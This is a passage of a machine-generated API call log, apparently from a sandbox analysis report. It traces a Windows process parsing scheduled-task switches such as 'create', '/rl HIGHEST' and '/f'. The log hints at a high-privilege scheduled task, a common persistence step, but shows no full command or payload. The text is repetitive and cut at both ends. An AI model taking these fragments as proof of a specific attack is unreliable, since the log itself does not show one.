_Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.930] lstrlenW (lpString="|m|") returned 3 [0117.930] lstrlenW (lpString="|rl|") returned 4 [0117.930] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.930] lstrlenW (lpString="i") returned 1 [0117.930] lstrlenW (lpString="i") returned 1 [0117.930] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.930] lstrlenW (lpString="rl") returned 2 [0117.930] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.930] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|i|") returned 3 [0117.930] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.930] lstrlenW (lpString="|i|") returned 3 [0117.930] lstrlenW (lpString="|rl|") returned 4 [0117.930] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.930] lstrlenW (lpString="tn") returned 2 [0117.930] lstrlenW (lpString="tn") returned 2 [0117.930] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.930] lstrlenW (lpString="rl") returned 2 [0117.930] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.930] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.930] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.930] lstrlenW (lpString="|tn|") returned 4 [0117.930] lstrlenW (lpString="|rl|") returned 4 [0117.930] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0117.930] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.930] lstrlenW (lpString="tr") returned 2 [0117.931] lstrlenW (lpString="tr") returned 2 [0117.931] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.931] lstrlenW (lpString="rl") returned 2 [0117.931] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.931] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tr|") returned 4 [0117.931] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.931] lstrlenW (lpString="|tr|") returned 4 [0117.931] lstrlenW (lpString="|rl|") returned 4 [0117.931] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0117.931] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.931] lstrlenW (lpString="st") returned 2 [0117.931] lstrlenW (lpString="st") returned 2 [0117.931] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.931] lstrlenW (lpString="rl") returned 2 [0117.931] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.931] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|st|") returned 4 [0117.931] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.931] lstrlenW (lpString="|st|") returned 4 [0117.931] lstrlenW (lpString="|rl|") returned 4 [0117.931] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0117.931] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.931] lstrlenW (lpString="sd") returned 2 [0117.931] lstrlenW (lpString="sd") returned 2 [0117.931] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.931] lstrlenW (lpString="rl") returned 2 [0117.931] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.932] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sd|") returned 4 [0117.932] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.932] lstrlenW (lpString="|sd|") returned 4 [0117.932] lstrlenW (lpString="|rl|") returned 4 [0117.932] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0117.932] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.932] lstrlenW (lpString="ed") returned 2 [0117.932] lstrlenW (lpString="ed") returned 2 [0117.932] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.932] lstrlenW (lpString="rl") returned 2 [0117.932] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.932] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|ed|") returned 4 [0117.932] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.932] lstrlenW (lpString="|ed|") returned 4 [0117.932] lstrlenW (lpString="|rl|") returned 4 [0117.932] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0117.932] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.932] lstrlenW (lpString="it") returned 2 [0117.932] lstrlenW (lpString="it") returned 2 [0117.932] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.932] lstrlenW (lpString="rl") returned 2 [0117.932] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.932] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|it|") returned 4 [0117.932] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.932] lstrlenW (lpString="|it|") returned 4 [0117.933] lstrlenW (lpString="|rl|") returned 4 [0117.933] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0117.933] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.933] lstrlenW (lpString="et") returned 2 [0117.933] lstrlenW (lpString="et") returned 2 [0117.933] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.933] lstrlenW (lpString="rl") returned 2 [0117.933] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.933] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|et|") returned 4 [0117.933] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.933] lstrlenW (lpString="|et|") returned 4 [0117.933] lstrlenW (lpString="|rl|") returned 4 [0117.933] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0117.933] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.933] lstrlenW (lpString="k") returned 1 [0117.933] lstrlenW (lpString="k") returned 1 [0117.933] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.933] lstrlenW (lpString="rl") returned 2 [0117.933] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.933] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|k|") returned 3 [0117.933] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.933] lstrlenW (lpString="|k|") returned 3 [0117.933] lstrlenW (lpString="|rl|") returned 4 [0117.933] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.933] lstrlenW (lpString="du") returned 2 [0117.933] lstrlenW (lpString="du") returned 2 [0117.934] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.934] lstrlenW (lpString="rl") returned 2 [0117.934] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.934] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|du|") returned 4 [0117.935] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.935] lstrlenW (lpString="|du|") returned 4 [0117.935] lstrlenW (lpString="|rl|") returned 4 [0117.935] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0117.935] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.935] lstrlenW (lpString="ri") returned 2 [0117.935] lstrlenW (lpString="ri") returned 2 [0117.935] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.935] lstrlenW (lpString="rl") returned 2 [0117.935] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.935] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|ri|") returned 4 [0117.935] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.935] lstrlenW (lpString="|ri|") returned 4 [0117.935] lstrlenW (lpString="|rl|") returned 4 [0117.935] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0117.935] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.935] lstrlenW (lpString="z") returned 1 [0117.935] lstrlenW (lpString="z") returned 1 [0117.936] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.936] lstrlenW (lpString="rl") returned 2 [0117.936] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.936] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|z|") returned 3 [0117.936] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.936] lstrlenW (lpString="|z|") returned 3 [0117.936] lstrlenW (lpString="|rl|") returned 4 [0117.936] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.936] lstrlenW (lpString="f") returned 1 [0117.936] lstrlenW (lpString="f") returned 1 [0117.936] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.936] lstrlenW (lpString="rl") returned 2 [0117.936] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.936] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.936] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.936] lstrlenW (lpString="|f|") returned 3 [0117.936] lstrlenW (lpString="|rl|") returned 4 [0117.936] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.936] lstrlenW (lpString="v1") returned 2 [0117.936] lstrlenW (lpString="v1") returned 2 [0117.936] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.936] lstrlenW (lpString="rl") returned 2 [0117.936] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.936] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|v1|") returned 4 [0117.936] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.936] lstrlenW (lpString="|v1|") returned 4 [0117.936] lstrlenW (lpString="|rl|") returned 4 [0117.937] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0117.937] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.937] lstrlenW (lpString="xml") returned 3 [0117.937] lstrlenW (lpString="xml") returned 3 [0117.937] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.937] lstrlenW (lpString="rl") returned 2 [0117.937] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.937] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|xml|") returned 5 [0117.937] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.937] lstrlenW (lpString="|xml|") returned 5 [0117.937] lstrlenW (lpString="|rl|") returned 4 [0117.937] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0117.937] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.937] lstrlenW (lpString="ec") returned 2 [0117.937] lstrlenW (lpString="ec") returned 2 [0117.937] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.937] lstrlenW (lpString="rl") returned 2 [0117.937] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.937] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|ec|") returned 4 [0117.937] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.937] lstrlenW (lpString="|ec|") returned 4 [0117.937] lstrlenW (lpString="|rl|") returned 4 [0117.937] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0117.937] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.937] lstrlenW (lpString="rl") returned 2 [0117.937] lstrlenW (lpString="rl") returned 2 [0117.937] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.938] lstrlenW (lpString="rl") returned 2 [0117.938] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.938] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.938] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rl|") returned 4 [0117.938] lstrlenW (lpString="|rl|") returned 4 [0117.938] lstrlenW (lpString="|rl|") returned 4 [0117.938] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0117.938] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.938] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.938] lstrlenW (lpString="HIGHEST") returned 7 [0117.938] lstrlenW (lpString="-/") returned 2 [0117.938] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0117.938] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.938] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.938] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.938] lstrlenW (lpString="HIGHEST") returned 7 [0117.938] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0117.938] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.938] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.938] _memicmp (_Buf1=0x2159bc1a9f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.938] lstrlenW (lpString="HIGHEST") returned 7 [0117.938] lstrlenW (lpString="HIGHEST") returned 7 [0117.938] lstrlenW (lpString=" \x09") returned 2 [0117.938] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0117.938] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0117.938] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0117.938] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0117.938] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0117.938] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0117.938] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0117.939] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0117.939] GetLastError () returned 0x0 [0117.939] lstrlenW (lpString="HIGHEST") returned 7 [0117.939] lstrlenW (lpString="HIGHEST") returned 7 [0117.939] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.939] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.939] lstrlenW (lpString="/f") returned 2 [0117.939] lstrlenW (lpString="-/") returned 2 [0117.939] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.939] lstrlenW (lpString="create") returned 6 [0117.939] lstrlenW (lpString="create") returned 6 [0117.939] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.939] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.939] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|create|") returned 8 [0117.939] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.939] lstrlenW (lpString="|create|") returned 8 [0117.939] lstrlenW (lpString="|f|") returned 3 [0117.939] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0117.939] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.939] lstrlenW (lpString="?") returned 1 [0117.939] lstrlenW (lpString="?") returned 1 [0117.939] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.939] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.939] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|?|") returned 3 [0117.939] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.939] lstrlenW (lpString="|?|") returned 3 [0117.939] lstrlenW (lpString="|f|") returned 3 [0117.939] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0117.939] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.940] lstrlenW (lpString="s") returned 1 [0117.940] lstrlenW (lpString="s") returned 1 [0117.940] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.940] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.940] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|s|") returned 3 [0117.940] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.940] lstrlenW (lpString="|s|") returned 3 [0117.940] lstrlenW (lpString="|f|") returned 3 [0117.940] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0117.940] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.940] lstrlenW (lpString="u") returned 1 [0117.940] lstrlenW (lpString="u") returned 1 [0117.940] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.940] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.940] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|u|") returned 3 [0117.940] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.940] lstrlenW (lpString="|u|") returned 3 [0117.940] lstrlenW (lpString="|f|") returned 3 [0117.940] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0117.940] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.940] lstrlenW (lpString="p") returned 1 [0117.940] lstrlenW (lpString="p") returned 1 [0117.940] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.940] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.940] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|p|") returned 3 [0117.940] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.940] lstrlenW (lpString="|p|") returned 3 [0117.940] lstrlenW (lpString="|f|") returned 3 [0117.941] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0117.941] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.941] lstrlenW (lpString="ru") returned 2 [0117.941] lstrlenW (lpString="ru") returned 2 [0117.941] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.941] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.941] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|ru|") returned 4 [0117.941] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.941] lstrlenW (lpString="|ru|") returned 4 [0117.941] lstrlenW (lpString="|f|") returned 3 [0117.941] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0117.941] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.941] lstrlenW (lpString="rp") returned 2 [0117.941] lstrlenW (lpString="rp") returned 2 [0117.941] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.941] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.941] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rp|") returned 4 [0117.941] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.941] lstrlenW (lpString="|rp|") returned 4 [0117.941] lstrlenW (lpString="|f|") returned 3 [0117.941] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0117.941] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.941] lstrlenW (lpString="sc") returned 2 [0117.941] lstrlenW (lpString="sc") returned 2 [0117.941] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.941] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.942] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sc|") returned 4 [0117.942] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.942] lstrlenW (lpString="|sc|") returned 4 [0117.942] lstrlenW (lpString="|f|") returned 3 [0117.942] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0117.942] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.942] lstrlenW (lpString="mo") returned 2 [0117.942] lstrlenW (lpString="mo") returned 2 [0117.942] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.942] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.942] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|mo|") returned 4 [0117.942] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.942] lstrlenW (lpString="|mo|") returned 4 [0117.942] lstrlenW (lpString="|f|") returned 3 [0117.942] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0117.942] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.942] lstrlenW (lpString="d") returned 1 [0117.942] lstrlenW (lpString="d") returned 1 [0117.942] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.942] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.942] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|d|") returned 3 [0117.942] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.942] lstrlenW (lpString="|d|") returned 3 [0117.942] lstrlenW (lpString="|f|") returned 3 [0117.942] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0117.942] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.942] lstrlenW (lpString="m") returned 1 [0117.942] lstrlenW (lpString="m") returned 1 [0117.942] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.943] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.943] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|m|") returned 3 [0117.943] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.943] lstrlenW (lpString="|m|") returned 3 [0117.943] lstrlenW (lpString="|f|") returned 3 [0117.943] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0117.943] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.943] lstrlenW (lpString="i") returned 1 [0117.943] lstrlenW (lpString="i") returned 1 [0117.943] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.943] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.943] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|i|") returned 3 [0117.943] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|f|") returned 3 [0117.943] lstrlenW (lpString="|i|") returned 3 [0117.943] lstrlenW (lpString="|f|") returned 3 